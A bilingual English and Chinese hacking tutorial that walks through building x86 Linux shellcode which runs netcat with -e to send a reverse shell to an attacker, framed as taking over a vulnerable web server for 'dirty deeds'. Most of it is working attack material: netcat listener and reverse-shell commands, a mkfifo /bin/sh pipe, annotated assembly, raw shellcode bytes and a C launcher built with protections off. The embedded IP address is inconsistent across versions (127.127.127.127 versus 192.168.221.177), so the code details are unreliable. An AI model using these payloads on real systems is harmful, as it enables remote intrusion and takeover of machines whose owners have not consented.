How to: Shellcode to reverse bind a shell with netcat(如何使用netcat进行shellcode反向链接)

Imagine you found a vulnerability in a web server and decided to take over that machine to do your dirty deeds, what do you do? Well, for starters, you have to figure out how to exploit the vulnerability at hand. In this article I will talk only about buffer overflows abused to inject a shellcode and execute arbitrary commands. There can be other ways to gain access to a vulnerable remote machine, like incorrect parsing of cgi-bin requests, XSS attacks through unescaped html strings, SQL injection, etc etc.

想象一下你发现了一个网站的漏洞,然后决定想拿下这个服务器去做一些非法的事情,你该怎么办?起初,你必须弄清楚如何利用手上的这些漏洞。这篇文章中我会谈谈关于滥用shellcode进行侵入,并执行任意的命令。当然,也有其他的很多方式对远程服务器漏洞的攻击,比如利用cgi-bin请求的一些错误解析;利用html转义字符的xss攻击,sql注入等等。

Most of all, what I want to focus on is the remote nature of the attack. Local buffer overflows are easy and there are countless of other articles with detailed explanations on how to perform them (like this shameless self-plug from my old blog). Remote buffer overflows, though, are a whole other deal. Most of the time you are left stumbling in the dark trying to understand if an exploit is even possible, how the memory of your target machine could be laid out, if they have ASLR and stack guars...and on top of that you cannot just spawn a shell and call it a day. What good is it to just spawn a local shell on a remote machine, if you can`t log into it?

最重要的是,我关注的是远程攻击的性质。本地的缓冲溢出简单,同时会有很多的文章对这种方式进行了详细的解释和演示。然而远程缓冲溢出就是另一回事了,大部分的时间都用在尝试了解所有利用的可能,了解目标服务器的内存是如何设计的,如果他们使用了ASLR(Address space layout randomization:是一种针对缓冲区溢出的安全保护技术)和栈保护......在以上的情况下,你不可能用全天调用shell. 如果不能登录远程服务器时,如何在远程本地只放一个本地的shell,就可以搞定?

The reverse bind of a remote shell:

There are several ways to obtain access to a local shell with a remote connection. The most common of all is to open a known port with a tcp socket and bind its stdout/stderr/stdin to a newly forked shell. This way we can connect from our computer with a simple netcat command. However, this doesnt work well most of the time: most of the publicfacing servers out there have only a few number of ports open to the outside world (like http(s), ftp, smtp, etc) and the remaining inbound requests are usually filtered and dropped by iptables or firewalls.

有好多种方式能够进行远程的连接。最普遍的就是在目标机器上打开一个熟知的端口,然后进行tcp连接,并且可以把stdout/stdin/stderr绑定到一个forked的shell.我们可以使用netcat的命令完成。然而,这种做法效果不佳,大多数的服务器打开很少的端口,并且都是https,ftp,smtp等等。并且有请求的过滤和防火墙规则的丢弃。

The solution to this is to use a reverse bind for your local shell. A reverse bind is a simple operation that turns the client into a server and vice-versa. Originally, youd have opened a port on the target and waited for inbound connections (from your attacking machine). Reverse this and youll have an open connection on your own machine waiting for the target machine to connect, this turns the attacker into the receiver waiting for some poor victim to fall into the trap.

这里的方案是使用反向绑定的方式。一个简单的反向绑定就是我们把client转换为server反之亦然。原先,我们在目标机上开放端口,然后等待我们连接。将这个方式反过来,就是在我们自己的机器上开放一个连接等待目标机的连接。这样攻击者就变成接受者,等待着可怜的受害者跳进陷阱。

Now, there are several shellcodes around the web for this specific type of attack, you can freely browse some of them at the shell-storm database. To me, some of them worked and some others didnt but its always a good learning experience so check it out. The topic for today will be how to abuse netcat to do most of the job for us, I looked around the shallow web (first results of google searches) and couldnt find any example for this so… here it is!

现在,有几个跟web攻击相关的shellcodes。你可以免费在shell-storm 数据库浏览一些shellcode.至于我,可以学习他们的一些经验。今天的话题就是如何使用netcat来给我们做更多的事情,我找遍了shallow web但是没有找到一些例子,所以我在此呈现一下。

The netcat -e command:

We will assume our target has netcat installed on the machine. This is very specific for this type of attack and if the target is even a bit concerned about security, there probably wont be any, but for the sake of learning lets assume this attack is applicable.

我们假设目标是装了netcat的。这次的攻击类型很具体,如果目标有一点关心安全的话,我们就不可能做任何事情,但是为了学习,我们假设攻击是允许的。

Traditional netcat and its GNU counterpart have a special parameter that can be passed to the binary, the -e flag. This flag will execute anything and bind it to the connection. The traditional netcat also has a -c flag which, for our purposes, does exactly the same, but since GNU-netcat doesnt have it, well just use -e.

netcat的选项-e能够执行二进制文件,能在它绑定的连接上执行二进制文件。传统的netcat有-c,但是不能满足我们的目的,但是后来netcat有了-e选项。

If we bind /bin/sh to netcat with -e, we are able to effectively pass our shell to the remote connection and have whoever is listening on the other side snoop into our machine (be careful when doing this!). Lets give it a try:

如果netcat -e绑定了/bin/sh,我们能够有效的传递shell到远程的连接,不管是谁探听我们机器的连接。让我们试一试吧!

1.In a shell on your machine run netcat -lvp 9999 to begin listening to inbound connections. This command should be your base operation for any reverse bind shell attack, it can be your life saver

在你的机器上执行netcat -lvp 999,开始去监听到来的连接。这个命令将是你操作反向链接攻击的基础,它将会成为你的救星。

In a separate shell, run netcat -e /bin/sh 127.0.0.1 9999

然后单独执行net -e /bin/sh 127.0.0.1 9999

You should have received a connection in the first shell you opened. Go ahead and type some shell commands like ls or whoami to confirm that it is working. You can close the connection (from any end) with Ctrl-c when youre done with it.

你应该会接收到一个连接,这时候你应该去执行一些shell命令,ls 或者whoami等去验证是否起作用了。你可以ctrl-c关闭连接。

Note: The openbsd version of the netcat command has no -e/-c flags. As an alternative (taken from their man page) you can execute the following command: rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f This, however, is very verbose, error prone and harder to run from an injected shellcode so if your target is using this version maybe its better to use a different shellcode.

注意:openbsd版本的netcat没有-e。但是你可以执行如下命令:rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f

这种方式比较繁琐,容易出错并且很难用到shellcode中去。如果你的目标使用这种的话,那最好使用一个不同的shellcode.

Great! Now we know what command we want to execute on the target machine, we just need to find a way to cram it into some assembly and compile it into our payload.

好极了,我们现在想要命令在目标机器上运行,我们仅仅需要找到一种方式把它变成汇编,同时编译进我们的载荷中去。

The assembly code:

This is the assembly required to run our shellcode. I will explain in details how it works. (Warning: its Intel syntax)

这些汇编就是我们运行我们shellcode需要的。我将详细解释他的工作过程。

1.jmp short       forward
2.back:
3.pop             esi
4.xor             eax, eax
5.mov byte        [esi + 11], al    ; terminate /bin/netcat
6.mov byte        [esi + 14], al    ; terminate -e
7.mov byte        [esi + 22], al    ; terminate /bin/sh
8.mov byte        [esi + 38], al    ; terminate 127.127.127.127
9.mov byte        [esi + 43], al    ; terminate 9999
10.mov long        [esi + 44], esi   ; address of /bin/netcat in AAAA
11.lea             ebx, [esi + 12]   ; get address of -e  
12.mov long        [esi + 48], ebx   ; store address of -e in BBBB 
13.lea             ebx, [esi + 15]   ; get address of /bin/sh
14.mov long        [esi + 52], ebx   ; store address of /bin/sh in CCCC
15.lea             ebx, [esi + 23]   ; get address of 127.127.127.127
16.mov long        [esi + 56], ebx   ; store address of 127.127.127.127 in DDDD
17.lea             ebx, [esi + 39]   ; get address of 9999
18.mov long        [esi + 60], ebx   ; store address of 9999 in EEEE
19.mov long        [esi + 64], eax   ; put NULL in FFFF
20.mov byte        al, 0x0b          ; pass the execve syscall number as argument
21.mov             ebx, esi          
22.lea             ecx, [esi + 44]   ; /bin/netcat -e /bin/sh etc etc
23.lea             edx, [esi + 64]   ; NULL
24.int             0x80              ; Run the execve syscall
 
25.forward:
26.call            back
27.db"/bin/netcat#-e#/bin/sh#192.168.221.177#9999#AAAABBBBCCCCDDDDEEEEFFFF"

We want to execute the equivalent of the following C code:

同等功能的c代码如下:

char *command[] = {"/bin/netcat", "-e", "/bin/sh", "127.127.127.127", "9999", NULL};

execve(command[0], command, NULL);

To do so, we set up the following command string:

这样的话,我们建立如下的命令字符串:

"/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"


Ignoring the letters at the end (which I will explain later), you can see that our multiple strings are just being packed all together into a single one, separated with a # character. This is because we cannot have null characters inside the actual shellcode. If this were to happen, wed end up with an incorrectly-parsed string from our victims machine. This is very common in shellcodes so I wont get in too many details.

Regardless of where we are in memory when we run this code, we need to identify the address of the command string, so at line 1 we jump to the forward label (line 26) and then we immediately call the back label. The call instruction in assembly is used to call a function, what this does is push the return address (the address of the instruction right after the call) on top of the stack. But the address of the next instruction is exactly the address of our command string! (line 28)

Back to line 3, we pop the address into the esi register. Then we zero out the eax register (remember, we cannot just mov eax,0 because zeroes are not allowed in our code) and start performing a patching operation to split the command string into multiple individual strings directly in memory.

字符串中各个部分被#隔开,是因为在shellcode中不能出现null,这会造成shellcode被截断,从而不能被目标主机正确运行。

不管我们在哪里运行这段程序,首先需要知道的是命令字符串的地址。

所以我在第1行和第26行分别创建了两个标签(forwordback),使用call命令时(27),首先会把返回地址入栈,返回地址就是下一条指令的地址,而下一条指令的地址恰巧就是我们的命令字符串。

回到第3行,我们把命令字符串地址弹出到ESI寄存器,然后将EAX初始化,注意我们不能直接使用 mov eax,0

Heres a picture to help explaining the following process:


What we are doing between line 5 and line 9 is moving individual zeros (taken from the al/eax register, which we just zeroed with xor) into each location where an individual string in our command ends. This is effectively substituting # with \0. After that, we want an array of addresses to our strings (terminated with a NULL) to pass as second argument of execve(), this is where the leading string of repeating letters comes into play. In memory, arrays elements are stored in contiguous locations, so we can abuse this contiguous location of memory to store each address of each individual string.

At line 10 we move the address of /bin/netcat into AAAA, then we proceed from line 11 to line 18 to do the same for each piece of string. Importantly, at line 19 we store NULL (from eax) into FFFF to effectively terminate our array.

At line 20 we prepare the execve system call. Syscalls called with int 0x80 expect arguments to be inside the registers so we store 0xb(syscall number of execve) inside eax, esi(the address of /bin/netcat) inside ebx, our array of strings into ecx and then a NULL in edx. We then trigger the system call and if everything went according to plan, our shellcode should give us a nice reverse shell.

在第5行到第9行,我们把寄存器中的0移动到字符串的末尾,使用替代#(取自eax寄存器,其中的0使用xor生成)之后我们需要一个各个字符串地址的数组,作为execve()的第二个参数。

在第十行,我们把 /bin/netcat 的地址放入 AAAA 所在的位置,程序中的1118行也是在做同样的事情,最后19行我们把存入到FFFF的位置,作为字符串的结尾。

在第20行我们准备执行系统调用,我们首先把0xb存储到eax中,esi(/bin/netcat的地址)存储到ebx中,字符串的地址存储到,ecx中,最后edx存储null,之后使用0x80触发系统调用,不出意外的话,一个反弹链接的指令就成功执行了。

If you notice, the shellcode uses 127.127.127.127 as IP address and 9999 as port. I chose that IP because its a local IP (your own machine) with nice and even numbers. Usually youll want to replace that with your own machines public-facing IP, what you need to take care of is fixing all the offsets in the assembly code (as shown in the picture) if the length of your IP is different. This is often a bothersome and error-prone operation so be careful when re-building the shellcode, be sure to always test it locally to make sure it works.

如果你注意到的话,ip地址使用的是127.127.127.127  端口号是 9999,这是一个本地的ip地址。通常情况下你需要使用一个外网IP来替换掉它,如果两个ip长度不同的话,你要仔细的修改掉所有与他相关联的汇编代码。

Compiling and testing the shellcode:

You should now have the assembly code stored in a file that well call shell.asm. To compile it into binary/object code, well use the following nasm command: nasm -felf32 -o shell.o shell.asm

现在,需要把汇编代码存储到一个asm文件之中,我们这里叫做shell.asm,使用以下的语句编译它,

nasm -felf32 -o shell.o shell.asm

We can inspect the binary with objdump -D and well see our assembly code with the relative opcodes. We want to extract those opcodes and put them into a C string that we can execute from memory. There is a fancy one-liner script that can do that for us, taken from here:

for i in $(objdump -d shell.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

使用,objdump -D命令我们就可以看到这个小程序的opcodes,使用下面一段指令我们就可以把它们放入到一个C字符串中:

for i in $(objdump -d shell.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

This will print a string that looks like this: "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c

\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e

\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62

\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32

\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41

\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"

最后我们得到:

\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x31\x2e\x31\x37\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46

Now lets create a small C program that can test our shellcode:

char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x31\x2e\x31\x37\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";

 

int main()

{

    int (*ret)() = (int(*)())shellcode;

    ret();

}


Lets compile this, well need to set the proper compilation flags to turn off security measures that would just make us segfault (they are usually enabled by default nowadays, rightfully so).

gcc shellcode.c -fno-stack-protector -z execstack -o shellcode

Spawn another shell with netcat -lvp 9999 and run ./shellcode. If all went well, you should have your reverse shell running and the exploit worked.

最后我们使用一段c程序来验证这个shell是否可行:

char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x31\x2e\x31\x37\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";

 

int main()

{

    int (*ret)() = (int(*)())shellcode;

    ret();

}

想要编译它,需要关闭一些安全编译选项,然后使用如下命令:

gcc shellcode.c -fno-stack-protector -z execstack -o shellcode  

在另一个shell中运行netcat -lvp 9999,然后运行这个c程序./shellcode如果一切正确的话你就可以得到一个反弹链接的shell了。

ok,shellcode is cool!!!

没有更多推荐了,返回首页